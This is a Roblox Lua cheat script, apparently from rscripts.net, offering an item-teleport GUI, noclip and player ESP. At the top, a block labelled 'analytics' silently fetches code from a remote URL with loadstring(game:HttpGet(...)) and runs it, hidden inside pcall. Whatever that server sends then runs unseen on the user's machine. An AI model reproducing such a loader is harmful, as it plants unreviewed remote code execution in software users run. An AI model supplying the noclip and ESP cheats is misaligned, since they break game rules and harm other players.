-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6ad4d14796bc5f772d7937f2"))() end) end) --[[rscripts:analytics:end]] --// Model Teleporter GUI --// Place in StarterPlayer > StarterPlayerScripts local Players = game:GetService("Players") local player = Players.LocalPlayer local folder = workspace:WaitForChild("Items") -- GUI setup local gui = Instance.new("ScreenGui") gui.Name = "ItemTeleporter" gui.ResetOnSpawn = false gui.Parent = player:WaitForChild("PlayerGui") local main = Instance.new("Frame") main.Size = UDim2.new(0, 300, 0, 380) main.Position = UDim2.new(0.5, -150, 0.5, -190) main.BackgroundColor3 = Color3.fromRGB(30, 30, 38) main.BorderSizePixel = 0 main.Active = true main.Draggable = true main.Parent = gui local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0, 10) corner.Parent = main -- Header local header = Instance.new("TextLabel") header.Size = UDim2.new(1, -45, 0, 45) header.Position = UDim2.new(0, 10, 0, 0) header.BackgroundTransparency = 1 header.Text = "Items Teleporter" header.TextColor3 = Color3.new(1, 1, 1) header.Font = Enum.Font.GothamBold header.TextSize = 18 header.TextXAlignment = Enum.TextXAlignment.Left header.Parent = main -- Close button local close = Instance.new("TextButton") close.Size = UDim2.new(0, 32, 0, 32) close.Position = UDim2.new(1, -38, 0, 7) close.Text = "X" close.TextColor3 = Color3.new(1, 1, 1) close.BackgroundColor3 = Color3.fromRGB(190, 55, 55) close.Font = Enum.Font.GothamBold close.TextSize = 14 close.Parent = main Instance.new("UICorner", close).CornerRadius = UDim.new(0, 7) close.MouseButton1Click:Connect(function() gui:Destroy() end) -- Refresh button local refresh = Instance.new("TextButton") refresh.Size = UDim2.new(1, -20, 0, 32) refresh.Position = UDim2.new(0, 10, 0, 48) refresh.Text = "Refresh Models" refresh.TextColor3 = Color3.new(1, 1, 1) refresh.BackgroundColor3 = Color3.fromRGB(65, 100, 180) refresh.Font = Enum.Font.GothamBold refresh.TextSize = 13 refresh.Parent = main Instance.new("UICorner", refresh).CornerRadius = UDim.new(0, 6) -- Scrolling list local list = Instance.new("ScrollingFrame") list.Size = UDim2.new(1, -20, 1, -95) list.Position = UDim2.new(0, 10, 0, 87) list.BackgroundColor3 = Color3.fromRGB(22, 22, 28) list.BorderSizePixel = 0 list.ScrollBarThickness = 5 list.CanvasSize = UDim2.new(0, 0, 0, 0) list.Parent = main Instance.new("UICorner", list).CornerRadius = UDim.new(0, 6) local layout = Instance.new("UIListLayout") layout.Padding = UDim.new(0, 5) layout.SortOrder = Enum.SortOrder.Name layout.Parent = list local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = list layout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function() list.CanvasSize = UDim2.new( 0, 0, 0, layout.AbsoluteContentSize.Y + 12 ) end) local function teleportTo(model) local character = player.Character local root = character and character:FindFirstChild("HumanoidRootPart") if not root then return end local targetCFrame if model:IsA("Model") then targetCFrame = model:GetPivot() elseif model:IsA("BasePart") then targetCFrame = model.CFrame end if targetCFrame then -- Teleport slightly above the target character:PivotTo(targetCFrame + Vector3.new(0, 4, 0)) end end local function refreshModels() for _, child in ipairs(list:GetChildren()) do if child:IsA("TextButton") then child:Destroy() end end local items = {} for _, obj in ipairs(folder:GetChildren()) do if obj:IsA("Model") or obj:IsA("BasePart") then table.insert(items, obj) end end table.sort(items, function(a, b) return a.Name:lower() < b.Name:lower() end) for _, obj in ipairs(items) do local button = Instance.new("TextButton") button.Name = obj.Name .. "Button" button.Size = UDim2.new(1, -4, 0, 36) button.BackgroundColor3 = Color3.fromRGB(48, 48, 60) button.TextColor3 = Color3.new(1, 1, 1) button.Font = Enum.Font.Gotham button.TextSize = 13 button.Text = "TP | " .. obj.Name button.TextTruncate = Enum.TextTruncate.AtEnd button.Parent = list Instance.new("UICorner", button).CornerRadius = UDim.new(0, 5) button.MouseButton1Click:Connect(function() if obj:IsDescendantOf(folder) then teleportTo(obj) end end) end refresh.Text = "Refresh Models (" .. #items .. ")" end refresh.MouseButton1Click:Connect(refreshModels) refreshModels() --// Keybinds GUI: N = Noclip, B = Player ESP local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") -- Remove previous Keybinds GUI if it exists local oldGui = playerGui:FindFirstChild("Keybinds") if oldGui then oldGui:Destroy() end local keyGui = Instance.new("ScreenGui") keyGui.Name = "Keybinds" keyGui.ResetOnSpawn = false keyGui.Parent = playerGui local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 220, 0, 155) frame.Position = UDim2.new(0, 20, 0.5, -77) frame.BackgroundColor3 = Color3.fromRGB(30, 30, 38) frame.BorderSizePixel = 0 frame.Active = true frame.Draggable = true frame.Parent = keyGui Instance.new("UICorner", frame).CornerRadius = UDim.new(0, 9) local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 35) title.BackgroundTransparency = 1 title.Text = "KEYBINDS" title.TextColor3 = Color3.new(1, 1, 1) title.Font = Enum.Font.GothamBold title.TextSize = 16 title.Parent = frame local function makeButton(text, y, color) local button = Instance.new("TextButton") button.Size = UDim2.new(1, -16, 0, 32) button.Position = UDim2.new(0, 8, 0, y) button.BackgroundColor3 = color button.TextColor3 = Color3.new(1, 1, 1) button.Font = Enum.Font.Gotham button.TextSize = 13 button.Text = text button.Parent = frame Instance.new("UICorner", button).CornerRadius = UDim.new(0, 6) return button end local noclipButton = makeButton( "N | Noclip: OFF", 40, Color3.fromRGB(48, 48, 60) ) local espButton = makeButton( "B | Player ESP: OFF", 79, Color3.fromRGB(48, 48, 60) ) -- Noclip local noclip = false local RunService = game:GetService("RunService") local noclipConnection local function setNoclip(enabled) noclip = enabled if noclipConnection then noclipConnection:Disconnect() noclipConnection = nil end if noclip then noclipConnection = RunService.Stepped:Connect(function() local character = player.Character if not character then return end for _, part in ipairs(character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = false end end end) end noclipButton.Text = "N | Noclip: " .. (noclip and "ON" or "OFF") noclipButton.BackgroundColor3 = noclip and Color3.fromRGB(40, 145, 85) or Color3.fromRGB(48, 48, 60) end -- Player ESP local espEnabled = false local espObjects = {} local function removeESP(target) local data = espObjects[target] if not data then return end if data.highlight then data.highlight:Destroy() end if data.billboard then data.billboard:Destroy() end espObjects[target] = nil end local function addESP(target) if target == player or not espEnabled then return end removeESP(target) local character = target.Character if not character then return end local root = character:FindFirstChild("HumanoidRootPart") if not root then return end local highlight = Instance.new("Highlight") highlight.Name = "PlayerESPHighlight" highlight.Adornee = character highlight.FillColor = Color3.fromRGB(255, 65, 65) highlight.OutlineColor = Color3.fromRGB(255, 255, 255) highlight.FillTransparency = 0.55 highlight.OutlineTransparency = 0 highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop highlight.Parent = character local billboard = Instance.new("BillboardGui") billboard.Name = "PlayerESPName" billboard.Adornee = root billboard.Size = UDim2.new(0, 180, 0, 30) billboard.StudsOffset = Vector3.new(0, 3, 0) billboard.AlwaysOnTop = true billboard.MaxDistance = 2000 billboard.Parent = playerGui local label = Instance.new("TextLabel") label.Size = UDim2.fromScale(1, 1) label.BackgroundTransparency = 1 label.Text = target.DisplayName .. " (@" .. target.Name .. ")" label.TextColor3 = Color3.fromRGB(255, 100, 100) label.TextStrokeTransparency = 0.25 label.Font = Enum.Font.GothamBold label.TextSize = 13 label.Parent = billboard espObjects[target] = { highlight = highlight, billboard = billboard } end local function refreshESP() for target in pairs(espObjects) do removeESP(target) end if not espEnabled then return end for _, target in ipairs(Players:GetPlayers()) do addESP(target) end end local function setESP(enabled) espEnabled = enabled refreshESP() espButton.Text = "B | Player ESP: " .. (espEnabled and "ON" or "OFF") espButton.BackgroundColor3 = espEnabled and Color3.fromRGB(40, 145, 85) or Color3.fromRGB(48, 48, 60) end -- Buttons noclipButton.Activated:Connect(function() setNoclip(not noclip) end) espButton.Activated:Connect(function() setESP(not espEnabled) end) -- Keyboard shortcuts UserInputService.InputBegan:Connect(function(input, processed) if processed then return end if input.KeyCode == Enum.KeyCode.N then setNoclip(not noclip) elseif input.KeyCode == Enum.KeyCode.B then setESP(not espEnabled) end end) -- Update ESP when players join, respawn, or leave local connections = {} local function trackPlayer(target) if target == player then return end connections[target] = target.CharacterAdded:Connect(function() task.wait(0.5) if espEnabled then addESP(target) end end) if espEnabled then addESP(target) end end Players.PlayerAdded:Connect(trackPlayer) Players.PlayerRemoving:Connect(function(target) removeESP(target) if connections[target] then connections[target]:Disconnect() connections[target] = nil end end) for _, target in ipairs(Players:GetPlayers()) do trackPlayer(target) end player.CharacterAdded:Connect(function() task.wait(0.5) if espEnabled then refreshESP() end end)